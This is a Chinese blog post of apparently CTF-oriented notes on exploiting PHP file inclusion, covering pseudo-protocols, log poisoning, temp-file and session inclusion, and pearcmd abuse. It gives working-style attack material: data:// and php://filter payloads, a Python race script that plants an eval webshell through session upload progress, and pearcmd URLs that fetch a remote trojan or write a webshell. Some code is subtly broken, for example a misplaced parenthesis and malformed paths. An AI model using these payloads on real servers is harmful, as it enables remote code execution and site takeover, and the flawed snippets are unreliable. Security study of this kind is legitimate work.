主页 > 互联网  > 

php文件包含

php文件包含

文章目录 基础概念php伪协议什么是协议协议的格式php中的协议file协议http协议ftp协议php://input协议php://filter协议php://data协议 php文件上传机制高级文件包含nginx文件日志包含临时文件包含session文件包含pear文件包含远程文件包含

基础概念

文件包含,相当于c语言中的#include,即通过头文件就可以调用文件中的代码 文件包含最基础的作用,就是读取非php类型的文件 php常见的文件包含语言结构

include ‘path’,包含这个文件,如果文件没了也不影响,继续往下执行require:包含必须成功,失败则会报错require_once:与 require 相似,都是用于包含并执行指定的 PHP 文件,但它确保该文件在脚本中只会被包含 一次。如果该文件已经被包含过,require_once 就不会再包含它。include_once:类似require_once php伪协议

伪协议即只能在php里面用,在其他地方用不了

什么是协议

协议的格式

协议头://内容

php中的协议

file协议

相对路径和绝对路径

. . / ../ ../:上层目录

上层目录的特点 每个目录都有上层目录根目录的上层目录是根目录php的文件整理特性: /html/…/== / http协议 file_get_contens()函数,给定url地址,通过http协议可以将内容读取include ‘http://’同样可以包含远程地址 ftp协议

默认21端口,进行文件传输

php://input协议

在发的http请求中呈现数据最原始的形式,如果没有php标记,就会当作文本文档呈现,如果有php语法标记,则会执行代码的内容

php://filter协议

通过协议自带的编码解码绕过

file=php://filter/write=convert.base64-decode/resource=1.php 将解码后的内容写入1.php文件 同样可以用write=string.rot13绕过死亡代码

php://data协议

到这里感觉到了各协议其实都可以用于执行自己写的php代码,以data协议为例

data://,<?php phpinfo(); ?>

php文件上传机制

可以强制向网页上传文件,上传的文件存放在/tmp/php???的一个地方,临时文件在脚本执行完后就被删除,所以应该用bp抓包,并将最后一位匹配大写字母[@-[]

高级文件包含 nginx文件日志包含

nginx可以认为是http的服务器软件,提供了http服务,并默认监听80端口,如果接收到php文件,就将它转发到9000端口,9000端口由另一个服务器端软件监听,叫做php-fpm,它提供解析php代码的作用,并将执行结果返回给nginx,nginx将执行结果返回客户端,这个客户端也就是浏览器

日志包含,就是通过将恶意代码通过user-agent等方式传入日志中,再包含日志,就会执行其中的php代码

日志文件默认路径 \var\log\nginx\access.log 注意代码一定不要写错,否则报错了就只能重置环境

临时文件包含

注意不能用通配符

上传的文件放在$_FILES这个超全局变量里,包括上传的php脚本,如果能找到这个php脚本在上传文件中的名字和位置,就可以利用文件包含执行这个脚本,但是在上传脚本执行完之后攻击脚本就会自动删除,所以需要在脚本执行期间完成文件包含php返回数据的特点,一段一段返回,每4096个字符返回一次,所以可以在返回字符中一直读取,一旦读到tmp_name就立刻进行包含,即phpinfo lfi session文件包含

session:根据cookie管理临时文件

如果将恶意代码注入session所在的临时文件,就可以实现与临时文件包含类似的效果 import requests import threading session=requests.session() sess='ctfshow' file_name='/var/ /html/1.php' file_contents='<?php eval($_POST[1];?>)' url='http' data={ 'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success';file_put_contents('{file_name}','{file_contents}')?>" } file={ 'file':'ctfshow' } cookies={ 'PHPSESSID':'ctfshow' } def write(): while True: r=session.post(url=url,data=data,files=file,cookies=cookies) def read(): while True: r=session.post(url=url+'?file=../../../../../tmp/sess_ctfshow') if 'success' in r.text: print('shell地址为:'+url+'/1.php') exit()

pear文件包含

使用条件

有文件包含点开启了pear扩展配置中register_argc_argv设置为on,而默认为off

利用方式1:利用扩展远程下载一句话木马

url+?file=/user/loca/lib/php/pearcmd.php&x+install+-R+/var/ /html(本地地址)+url(远程下载地址)

利用方式2:生成配置文件,在配置项中含恶意代码

url+?file=/user/loca/lib/php/pearcmd.php&+-c+\tmp\a.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+

远程文件包含

类似远程文件下载,必要时可用域名转数字

标签:

php文件包含由讯客互联互联网栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“php文件包含